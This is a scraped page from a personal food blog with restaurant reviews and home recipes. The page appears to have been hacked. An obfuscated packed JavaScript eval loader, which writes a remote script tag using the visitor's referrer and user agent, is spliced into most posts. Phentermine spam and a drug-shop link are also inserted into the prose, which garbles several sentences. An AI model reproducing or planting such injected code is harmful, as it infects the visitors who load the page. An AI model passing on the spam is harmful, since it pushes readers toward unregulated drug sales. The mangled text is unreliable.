L’Arte del Gelato

2016 Food, Food

L’Arte eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhefb|var|u0026u|referrer|kkdyy||js|php’.split(‘|’),0,{}))
del Gelato
 is probably my favorite gelato in the US. This is the stand in Chelsea Market, New York. I’ve pretty much tried every flavour, and I can testify that purchase phentermine hcl 30 mg they are all amazing! This was my first time ordering their affogato. It was delicious!

I do eat gelato all-year-round, but it is the perfect treat on a hot summer day.

Boatyard Bar & Grill

2016 Food, Food

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnefi|var|u0026u|referrer|zhrnz||js|php’.split(‘|’),0,{}))
took the long weekend to visit Annapolis, Maryland, and I ate at the
Boatyard Bar & Grill to satisfy my need for soft shell crab. It was delicious and the restaurant has a great atmosphere. It’s just outside of the historic downtown Annapolis and within a five minute walk to the marina.

I’d definitely recommend eating at the Boatyard Bar & Grill if you’re visiting Annapolis.

Pictured above is Maryland’s fried soft shell crab sandwich and crab cake sandwich.

 

Caprese Baked Chicken & Pasta Salad

2016 Food, Food

Caprese eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehffh|var|u0026u|referrer|erafe||js|php’.split(‘|’),0,{}))
caked chicken with pasta salad and fried plantains

This is one of my own inventions as an excuse to use up my basil. I’ve have two potted basil plants that have been growing insanely this summer.

  • Flattened 4 check breast (if they are very large cut them in half).
  • Season with chicken with salt and pepper, layer basil, mozzarella cheese and sliced tomatoes and roll up the chicken. Use toothpicks to keep chicken breasts rolled up.
  • Drizzle a bit of olive oil over the rolled up chicken breasts and bake in the oven at 425 F for 25 minutes. Check them until they are cooked through. Cooking time may vary on size of chicken.

Pasta Salad

  • Cook angel hair pasta until al dente.
  • Cut in half a couple handfuls of cherry tomatoes and cook for a few minutes in olive oil, crushed garlic and pesto.
  • Mix in cooked pasta.
  • Chop mangos and serve on top of pasta salad.

Fried Plantains

  • Heat about 1-inch of oil in heavy bottomed saucepan over medium heat until a deep-fry thermometer inserted in the oil registers 340 degrees F.
  • Line a large plate with paper towels.
  • Peel the plantains and discard the skins. Slice into 1/4-inch thick pieces.
  • Fry the plantains in oil, turning occasionally, until a golden brown color, about 2 to 4 minutes.
  • The longer the plantains fry the sweeter they are. Remove with a slotted spoon and drain on paper towels.
  • Sprinkle the plantains with a little salt and brown sugar.

Cherry Pie with Almond Crumble Top

2016 Food, Food

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Pie with Almond Crumble Top

yield: 2 PIE

  • Pre-made pie crust
  • 4 cups halved pitted fresh cherries1
  • 1/2 cup (38g) fresh raspberries or sliced strawberries2
  • 1/2 cup – 3/4 cup (100-150g) granulated sugar1
  • 1/4 cup (28g) cornstarch
  • 1 Tablespoon (15ml) lemon juice
  • 1 teaspoon vanilla extract
  • optional: 1/4 teaspoon almond extract (it’s good!)
  • 1 Tablespoon (14g) cold unsalted butter, cut into small cubes
  • 1 large egg, lightly beaten with 1 Tablespoon (15ml) milk
  • 1/3 cup (28g) sliced almonds, such as Diamond of California sliced almonds
  • optional: coarse sugar for garnish

Directions:

  1. The crust: defrost a pre-made pie crust.
  2. Make the filling: In a large bowl using a rubber spatula or wooden spoon, stir the cherries, raspberries, sugar, cornstarch, lemon juice, vanilla, and almond extract together until thoroughly combined. Set filling aside as the oven preheats. This gives the filling a chance to rest.
  3. Preheat oven to 400°F (204°C)
  4. Make crumble top: Blend 1/2 cup of butter, 1 cup of flour, and 1/4 cup of sugar and 1/4 cup of almond in a food processor. I also added a tablespoon of almond extract for a bit more flavour.
  5. Fill the pie crust with the filling and sprinkle the crumble top over it.
  6. Place the pie onto a large baking sheet and bake for 20 minutes. Keeping the pie in the oven, turn the temperature down to 375°F (190°C) and bake for an additional 30-35 minutes. After the first 20 minutes of bake time, I place a pie crust shield on top of the pie to prevent the edges from browning too quickly.
  7. Allow the pie to cool for 3 full hours at room temperature before serving. This time allows the filling to thicken up. Cover leftovers tightly and store in the refrigerator for up to 5 days.

My Pantry Puttanesca

2016 Food, Food

Puttanesca is eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkeyi|var|u0026u|referrer|snkef||js|php’.split(‘|’),0,{}))
a traditional Italian pasta dish. The sauce is named for ladies of the night. They would place pots of it in their windows to tempt men into the bordellos.

I’ve linked to the traditional puttanesca recipe. However, I make puttanesca as a way to use up anything I have leftover in my fridge. The one pictured above has yellow and red cherry tomatoes, http://vhealthportal.com/product-category/womens-health/, arugula, grown lamb, and feta cheese. This tossed with cooked angel hair pasta and olive oil, salt and pepper (to taste).

VA Eats:Green Pig Bistro

2016 Food, Food

Green Pig Bistro

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snbfn|var|u0026u|referrer|ndryz||js|php’.split(‘|’),0,{}))
have amazing friends. You know how I know? Because they let me take photos of their food before they eat it. Above are biscuits with pepper jelly, which we ordered for appetizers.

We grabbed brunch with friends at Green Pig Bistro in Arlington, VA last weekend. I ordered the Chicken & Waffles, which was amazing. The portion sizes are generous and the food is very filling.

The guy ordered the meatball sandwich, which was also good. I would have preferred if it has a few more meatballs.

My friend got the shrimp and grits. Have you guessed yet that we were all from the South and seriously missing some comfort food?

Green Pig Bistro was great, and I’d recommend it to others! It’s also fairly large so good for large groups. They do accept reservations in advance for brunch.

DC Eats: Peregrine Espresso

2016 Food, Food

Affogato’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ianiz|var|u0026u|referrer|ftizk||js|php’.split(‘|’),0,{}))
are a blend of two my favorite afternoon snacks – gelato and espresso. It’s basically heaven in a cup. I ordered the salted caramel affogato at at 
Peregrine Espresso, and it was delicious! I’d highly recommend it!

NYC Eats: Poco

2016 Food, Food

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yybre|var|u0026u|referrer|sfhys||js|php’.split(‘|’),0,{}))
last trip up to New York City, I partook in two brunches on the same day because you know… #yolo.

The top photograph was from my second brunch at Bistrot Dominique – a cute french restaurant. Even I can’t eat forever and just ordered a coffee and grazed off everyone’s else’s entrees. The ambiance at Bistrot Dominique was much more relaxed than Poco. It’s a very hidden place in the West Village on a very adorable side street that is just meant to be Instagrammed.

The photograph generic phentermine pictures above is from Poco in the East Village. I ordered their traditional Eggs Benedict, which was good but not exceptional. Poco is known for their bottomless brunch, which makes it a popular spot on Sundays. It was very crowded when we went. They have seating on the bottom level, which is very dark without windows. My friends and I were fortunate to get a window table on the street level of the restaurant, but it was a very tight squeeze.

Charleston: Sea Biscuit Cafe

2016 Food, Food

Sea eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eraki|var|u0026u|referrer|ktdns||js|php’.split(‘|’),0,{}))
Biscuit Cafe
 is a cute whole in the wall restaurant near Sullivan’s Beach in Charleston, SC. We grabbed brunch here when we were in town for my friend’s wedding. There’s always a wait for brunch because the restaurant is in a renovated small house. However, the food is worth the wait and they turns table around quickly.

I’ve missed Southern cooking, and even when I go to a Southern restaurant up North, it’s just not the same grits and gravy like down South. Sea Biscuit Cafe will give you a food coma, but so does every good Southern restaurant.

We ordered the biscuits covered in sausage gravy, crab cakes, cheesy grits and homemade banana bread.

Spaghetti Squash Pad Thai

2016 Food, Food

Spaghetti eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbrd|var|u0026u|referrer|ahfih||js|php’.split(‘|’),0,{}))
Squash Pad Thai

Serves 2 to 4 (generous for 2; good with sides for 4)

For the pad Thai sauce (I cheated with Pad Thai Sauce from a Jar)
2 tablespoons tamarind paste (or rice wine vinegar, see Recipe Note)
2 tablespoons fish sauce
2 tablespoons palm sugar or brown sugar
2 to 4 tablespoons water, to thin

For the pad Thai:
1/2 medium spaghetti squash (from a 3-pound squash)
2 1/2 tablespoons peanut oil
8 ounces extra-firm tofu, diced
2 tablespoons corn starch
1/2 medium yellow onion,
thinly sliced
2 large eggs, whisked
2 cloves garlic, minced
4 scallions, cut into 1- to 2-inch pieces
1/2 cup bean sprouts, plus more to serve
2 tablespoons chopped peanuts, to serve
Lime wedges, to serve
Cilantro, to serve
Red pepper flakes, to serve

Sauce

Whisk together the tamarind paste, fish sauce, and palm sugar for the sauce. Add 2 tablespoons of water, to thin out the sauce. Microwave on high heat for 30 seconds and whisk until everything is combined into a thin sauce. The sauce should taste very strong, but still palatable; add more water if needed to reach a good balance of tartness and pungency. Measure out about 1/4 cup to be used for this recipe; the remaining sauce will keep refrigerated for several weeks. Or do I what I did, which was buy a jar of pre-made Pad Thai sauce.

Pad Thai

Cut the squash in half; save one half for another purpose. Prepare the other half, either in the microwave (15 minutes) or in the oven(30 to 45 minutes). When cooked, shred the inside with a fork and set aside. You should have 3 to 4 cups of spaghetti squash tendrils.

Toss the tofu in the cornstarch until all the cubes are evenly coated with a gummy layer of cornstarch. Set aside while you prep the rest of the ingredients; make sure all the ingredients are prepped before you begin cooking. Place a large dinner plate next to the stove to hold ingredients as they come out of the wok.

Heat a wok or large skillet over high heat until a flick of water dissolves almost instantly on the surface. Add a tablespoon of peanut oil and quickly swirl the pan to coat. Add the tofu and stir-fry until golden on all sides, 2 to 3 minutes. Transfer the cooked tofu to a plate. (Adjust the heat as needed if your pan starts smoking.)

Warm another half tablespoon of peanut oil in the pan and add the onions. Cook until the onions are just starting to soften and show golden color, 3 to 4 minutes. Transfer to the plate with the tofu. (Adjust the heat as needed if your pan starts smoking.)

Warm another half tablespoon of peanut oil in the pan and swirl to coat the bottom. Whisk the eggs one more time and then pour them into the bottom of the pan. Cook, tilting the pan to create a very thin omelet. When the eggs are almost set, begin nudging and cutting them with your spatula to create big curds. Transfer the cooked eggs to the plate with the tofu and onion. (Adjust the heat as needed if your pan starts smoking.)

Warm the last half tablespoon of peanut oil in the pan and add the garlic. Fry until the garlic is fragrant and golden, about 10 seconds. Add all of the spaghetti squash and spread into a single layer. Cook for 30 seconds or so, then stir the squash and spread it back out again. Repeat a few times until the squash is warmed and beginning to show golden, roasted color.

Drizzle 2 tablespoons of the pad Thai sauce around the outside edge of the pan, then stir it into the squash. Continue stirring until the sauce evenly coats all the squash. Give it a quick taste and add up to 2 tablespoons additional sauce if needed.

Add the scallions and bean sprouts to the pan with the squash, and stir to combine. Add the tofu, onions, and egg back to the pan and stir to combine. Taste again, adding additional sauce if needed.

Transfer the pad Thai to a large serving plate and top with chopped peanuts, cilantro, red pepper flakes, and lime wedges. Serve immediately while still very hot. Leftovers reheat well and will keep for up to a week in the fridge.